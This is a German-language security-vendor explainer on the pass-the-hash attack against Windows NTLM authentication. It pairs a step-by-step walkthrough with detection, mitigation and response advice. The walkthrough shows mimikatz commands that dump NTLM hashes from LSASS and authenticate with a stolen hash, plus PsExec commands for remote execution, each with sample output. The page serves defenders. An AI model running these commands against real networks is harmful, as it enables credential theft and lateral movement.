Pass-the-Hash-Angriff
Sobald ein Angreifer einen Brückenkopf im Netzwerk errichtet hat, ändern sich ihre Taktiken, um zusätzliche Systeme zu kompromittieren und die Privilegien zu erlangen, die sie benötigen, um ihre Mission zu vollenden. Pass-the-Hash ist eine Technik des Credential-Diebstahls und der lateralen Bewegung, bei der ein Angreifer das NTLM-Authentifizierungsprotokoll missbraucht, um sich als Benutzer zu authentifizieren, ohne jemals das Klartextpasswort des Kontos zu erhalten. Da der Angreifer den Passworthash verwendet, der normalerweise nur geändert wird, wenn das Passwort selbst geändert wird, hat der Gegner erhebliche Zeit, das kompromittierte Konto zu missbrauchen.
Bedrohungszusammenfassung
Ziel: LM- und NTLM-fähige Windows-Endpoints
Tools: mimikatz, Cobalt Strike, Empire, Invoke-TheHash, Metasploit
ATT&CK® Taktik: Defense Evasion, Lateral Movement
ATT&CK-Technik: T1550.002
Schwierigkeit
Erkennung: Schwierig
Milderung: Hart
Antwort: Mittel
Anleitung für Angriffe: Wie ein Pass-the-Hash-Angriff funktioniert
SCHRITT 1: Passwort-Hashes stehlen
Ein Angreifer, der in einem Netzwerk Fuß gefasst hat, kann verschiedene Methoden nutzen, um Passwort-Hashes zu erhalten, einschließlich DCSync-Angriffen und dem Extrahieren von Hashes aus NTDS.dit. Eine weitere Methode, die unten dargestellt ist, besteht darin, Passwort-Hashes aus dem Speicherprozess von LSASS.exe zu extrahieren, der die Hashes für Benutzer mit aktiven Sitzungen auf dem Computer speichert. Beachten Sie, dass diese Technik voraussetzt, dass der Angreifer administrative Privilegien auf dem Computer erlangt hat (z. B. indem er einen Benutzer, der Administrator an der Workstation ist, dazu verleitet, eine Phishing-E-Mail zu öffnen).
PS> .\mimikatz.exe "privilege::debug" "log passthehash.log" "sekurlsa::logonpasswords"
Authentication Id : 0 ; 302247 (00000000:00049ca7)
Session: RemoteInteractive from 2
User Name: joed
Domain: DOMAIN
Logon Server: DC1
Logon Time: 09/07/2020 10:31:19
SID: S-1-5-21-3501040295-3816137123-30697657-1109
msv :
[00000003] Primary
* Username : joed
* Domain: DOMAIN
* NTLM: eed224b4784bb040aab50b8856fe9f02
* SHA1: 42f95dd2a124ceea737c42c06ce7b7cdfbf0ad4b
* DPAPI: e75e04767f812723a24f7e6d91840c1d
tspkg :
wdigest :
* Username : joed
* Domain: DOMAIN
* Password : (null)
kerberos :
* Username : joed
* Domain: domain.com
* Password : (null)
ssp :
credman :
SCHRITT 2: Authentifizierung mit einem gestohlenen Passwort-Hash
Als Nächstes verwendet der Angreifer einen der gestohlenen Passworthashes, um sich mit der Pass-the-Hash-Technik als Benutzer zu authentifizieren. Das folgende Beispiel zeigt die Verwendung des gestohlenen Passworthashes, um cmd.exe zu starten; es ist auch möglich, den Hash direkt über das Netzwerk an jede zugängliche Ressource zu übermitteln, die NTLM-Authentifizierung erlaubt.
Um den Hash mit mimikatz sekurlsa::pth zu übergeben, werden die folgenden Parameter angegeben:
/user: — The compromised user’s username
/domain: — The FQDN of the domain (if using a domain account) or “.” (if using a local account)
/ntlm:, /aes128: or /aes256: — The stolen NTLM, AES-128 or AES-256 password hash
PS> .\mimikatz.exe "sekurlsa::pth /user:JoeD /domain:domain.com /ntlm:eed224b4784bb040aab50b8856fe9f02"
user: JoeD
domain: domain.com
program : cmd.exe
impers. : no
NTLM: eed224b4784bb040aab50b8856fe9f02
| PID11560
|TID10044
|LSA Process is now R/W
|LUID 0 ; 58143370 (00000000:0377328a)
\_ msv1_0- data copy @ 000001AE3DDE8A30 : OK !
\_ kerberos - data copy @ 000001AE3DECE9E8
\_ aes256_hmac-> null
\_ aes128_hmac-> null
\_ rc4_hmac_ntOK
\_ rc4_hmac_oldOK
\_ rc4_md4OK
\_ rc4_hmac_nt_expOK
\_ rc4_hmac_old_expOK
\_ *Password replace @ 000001AE3DFEC428 (32) -> null
# New CMD Window Opens
SCHRITT 3: Zugriff auf andere Ressourcen
Schließlich kann der Angreifer die neu erworbenen Privilegien nutzen, um seine Ziele weiter zu verfolgen. Das untenstehende Beispiel zeigt, wie sie das Tool PSExec verwenden können, um Befehle auf entfernten Systemen auszuführen, um ihren Fußabdruck zu erweitern und den Zyklus des Diebstahls von Anmeldeinformationen und der lateralen Bewegung auf einer stetig wachsenden Anzahl von Systemen zu wiederholen.
PS> .\PSExec.exe \\server1 cmd.exe
PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
Microsoft Windows [Version 10.0.17763.1282]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>hostname
server1
Erkennen, Minderung und Reaktion
Erkennen
Schwierigkeitsgrad: Schwer
Da die NTLM-Authentifizierung von jeder Workstation und jedem Server verarbeitet wird, kann das Erkennen von Pass-the-Hash für Organisationen eine Herausforderung darstellen, da jeder Endpunkt auf verdächtige Aktivitäten überwacht werden muss.
- Überwachen Sie NTLM-Authentifizierungen (insbesondere bei Remote-Verbindungen) auf Änderungen in den Verhaltensmustern der Benutzer, zum Beispiel: ein Benutzer greift auf eine größere Anzahl von Endpunkten als normal zu; oder, ein Benutzer greift zum ersten Mal auf Endpunkte zu.
- Um Hashes aus dem LSASS.exe-Prozess eines Endpunkts zu extrahieren, müsste die Malware einen Handle mit den PROCESS_VM_OPERATION- und PROCESS_VM_WRITE-Privilegien erhalten. Endpoint Detection and Response-Lösungen können überwachen, ob Prozesse verdächtige Handles erstellen.
- Das Extrahieren von Hashes aus Active Directory erfordert administrative Privilegien und den Einsatz anderer Techniken wie DCSync und das Extrahieren von Hashes aus NTDS.dit. Die Erkennung dieser Techniken wird auf ihren Attack Catalog-Seiten diskutiert.
Mildern
Schwierigkeitsgrad: Schwer
Da Pass-the-Hash die Funktionen des NTLM-Protokolls ausnutzt, kann es nicht vollständig eliminiert werden. Es gibt jedoch Lösungen, die es Gegnern erschweren können, Hashes zu kompromittieren oder ihre Fähigkeit einzuschränken, diese Hashes zu nutzen, um sich seitwärts zu bewegen.
- Aktivieren Sie Microsofts Windows Defender Credential Guard. Eingeführt in Windows 10 und Windows Server 2016, nutzt Credential Guard die Virtualisierungstechnologie zum Schutz des Anmeldeinformationspeichers und erlaubt nur vertrauenswürdigen Prozessen den Zugriff darauf.
- Entfernen Sie die Administratorrechte der Benutzer von ihren Arbeitsstationen, um die Fähigkeit von Angreifern zur Ausführung von Malware zu begrenzen und die benötigten Privilegien zum Extrahieren von Hashes aus LSASS.exe zu entfernen.
- Gestatten Sie Benutzern nicht, administrative Privilegien für eine große Anzahl von Endpunkten zu besitzen. Dies verringert den Wert von Anmeldeinformationen für einen Angreifer erheblich, der versucht, sie für laterale Bewegungen zu nutzen.
- Gestatten Sie Benutzern nicht, administrative Privilegien über Sicherheitsgrenzen hinweg zu besitzen. Dies reduziert das Risiko erheblich, dass kompromittierte Anmeldeinformationen von einem Angreifer genutzt werden können, um Privilegien zu eskalieren.
- Randomisieren und speichern Sie lokale Administratorpasswörter mit einer Lösung wie Microsofts Local Administrator Password Solution (LAPS). Dies verringert die Fähigkeit eines Angreifers, sich seitwärts mit lokalen Konten zu bewegen, die dasselbe Passwort teilen.
- Erlauben Sie lokalen Konten nicht, sich über das Netzwerk zu authentifizieren. Dies reduziert die Fähigkeit eines Angreifers, sich mit lokalen Konten, die dasselbe Passwort teilen, seitlich zu bewegen. Zwei neue bekannte SIDS wurden in Windows 8.1 und Windows 2012R2 hinzugefügt und können in Gruppenrichtlinien für diesen Zweck verwendet werden. Die SID S-1-5-113 gilt für jedes lokale Konto, während die SID S-1-5-114 für jedes lokale Konto gilt, das auch Mitglied der lokalen Administratorengruppe ist.
- Fügen Sie privilegierte Domänenkonten zur Gruppe Protected Users hinzu, um das Risiko des Diebstahls von Anmeldeinformationen zu verringern.
- Konfigurieren Sie eine hostbasierte Firewall (wie Windows Defender Firewall), um zu steuern und zu begrenzen, welche Hosts mit anderen kommunizieren können. Beispielsweise besteht in den meisten Umgebungen kaum Bedarf daran, dass Arbeitsstationen direkt mit anderen Arbeitsstationen kommunizieren. Die Verwendung einer hostbasierten Firewall, um diesen Datenverkehr zu blockieren, kann die laterale Bewegung einschränken.
Antworten
Schwierigkeitsgrad: Mittel
Wenn Sie eine mögliche Verwendung von Pass the Hash feststellen, ergreifen Sie sofort die folgenden Maßnahmen:
- Aktivieren Sie den Incident-Response-Prozess und alarmieren Sie das Reaktionsteam.
- Setzen Sie das Passwort für den kompromittierten Benutzer zurück, was den gestohlenen Passwort-Hash ungültig macht.
- Quarantäne die betroffenen Maschinen für forensische Untersuchungen sowie Ausrottungs- und Wiederherstellungsaktivitäten. Analysieren Sie die Protokolle, um festzustellen, ob dieser Computer Patient Null ist oder ob der Angreifer von einem anderen Ort auf diese Maschine umgestiegen ist, sowie ob der Angreifer von dieser Maschine auf eine andere umgestiegen ist.
Teilen auf
Zugehörige Cybersecurity-Angriffe anzeigen
Missbrauch von Entra ID-Anwendungsberechtigungen – Funktionsweise und Verteidigungsstrategien
AdminSDHolder-Modifikation – Funktionsweise und Verteidigungsstrategien
AS-REP Roasting Attack - Funktionsweise und Verteidigungsstrategien
Hafnium-Angriff - Funktionsweise und Verteidigungsstrategien
DCSync-Angriffe erklärt: Bedrohung für die Active Directory Security
Golden SAML-Angriff
Verständnis von Golden Ticket-Angriffen
Angriffe auf Group Managed Service Accounts
DCShadow-Angriff – Funktionsweise, Beispiele aus der Praxis & Verteidigungsstrategien
ChatGPT Prompt Injection: Risiken, Beispiele und Prävention verstehen
NTDS.dit-Passwortextraktionsangriff
Kerberoasting-Angriff – Funktionsweise und Verteidigungsstrategien
Pass-the-Ticket-Attacke erklärt: Risiken, Beispiele & Verteidigungsstrategien
Password-Spraying-Angriff
Angriff zur Extraktion von Klartext-Passwörtern
Zerologon-Schwachstelle erklärt: Risiken, Exploits und Milderung
Ransomware-Angriffe auf Active Directory
Active Directory mit dem Skeleton Key-Angriff entsperren
Laterale Bewegungen: Was es ist, wie es funktioniert und Präventionsmaßnahmen
Man-in-the-Middle (MITM)-Angriffe: Was sie sind & Wie man sie verhindert
Warum ist PowerShell so beliebt bei Angreifern?
4 Angriffe auf Dienstkonten und wie man sich dagegen schützt
Wie Sie Malware-Angriffe daran hindern, Ihr Geschäft zu beeinträchtigen
Was ist Credential Stuffing?
Kompromittierung von SQL Server mit PowerUpSQL
Was sind Mousejacking-Angriffe und wie kann man sich dagegen verteidigen
Diebstahl von Anmeldeinformationen mit einem Security Support Provider (SSP)
Rainbow-Table-Attacken: Wie sie funktionieren und wie man sich dagegen verteidigt
Ein umfassender Blick auf Passwortangriffe und wie man sie stoppt
LDAP-Aufklärung
Umgehen der MFA mit dem Pass-the-Cookie-Angriff
Silver Ticket Attack